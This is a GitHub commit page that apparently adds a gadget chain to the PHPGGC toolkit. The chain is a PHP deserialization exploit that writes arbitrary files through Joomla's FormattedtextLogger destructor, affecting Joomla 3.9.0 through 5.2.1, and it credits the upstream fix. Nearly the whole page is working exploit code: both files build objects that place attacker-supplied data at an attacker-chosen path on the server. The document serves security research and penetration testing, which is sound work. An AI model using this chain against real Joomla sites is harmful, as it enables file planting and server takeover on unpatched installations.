Skip to content

Commit 7653eda

Browse files
authored
Merge pull request #202 from mcdruid/joomla
Joomla/FW1
2 parents 9909799 + d6d3748 commit 7653eda

File tree

2 files changed

+63
-0
lines changed

2 files changed

+63
-0
lines changed

gadgetchains/Joomla/FW/1/chain.php

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?php
2+
3+
namespace GadgetChain\Joomla;
4+
5+
class FW1 extends \PHPGGC\GadgetChain\FileWrite
6+
{
7+
public static $version = '3.9.0 <= 5.2.1';
8+
public static $vector = '__destruct';
9+
public static $author = 'mcdruid';
10+
public static $information = 'Fixed in https://github.com/joomla/joomla-cms/pull/44428
11+
which is included in the 5.2.2 release.';
12+
13+
public function generate(array $parameters)
14+
{
15+
$path = $parameters['remote_path'];
16+
$data = $parameters['data'];
17+
18+
return new \Joomla\CMS\Log\Logger\FormattedtextLogger(
19+
$path,
20+
new \Joomla\CMS\Log\LogEntry($data)
21+
);
22+
}
23+
}

gadgetchains/Joomla/FW/1/gadgets.php

+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
<?php
2+
3+
namespace Joomla\CMS\Log\Logger
4+
{
5+
class FormattedtextLogger
6+
{
7+
protected $defer = true;
8+
protected $options = ['text_file_no_php' => true];
9+
protected $path;
10+
protected $deferredEntries = [];
11+
protected $format = '{F}';
12+
protected $fields = ['F'];
13+
14+
public function __construct($path, $deferredEntries)
15+
{
16+
$this->path = $path;
17+
$this->deferredEntries = [$deferredEntries];
18+
}
19+
}
20+
}
21+
22+
namespace Joomla\CMS\Log {
23+
class LogEntry
24+
{
25+
// Setting $clientIP avoids \Joomla\Utilities\IpHelper::getIp running
26+
// but the Gadget Chain seems to work okay either way.
27+
// public $clientIP = 'i'; // !isset($entry->clientIP)
28+
29+
public $date = '1234567890'; // strlen($entry->date) != 10
30+
public $time = 't'; // !isset($entry->time)
31+
32+
// This property could be called anything but must match the values of
33+
// the $format and $fields properties of the FormattedtextLogger.
34+
public $f; // #[\AllowDynamicProperties]
35+
36+
function __construct($f) {
37+
$this->f = $f;
38+
}
39+
}
40+
}

0 commit comments

Comments
 (0)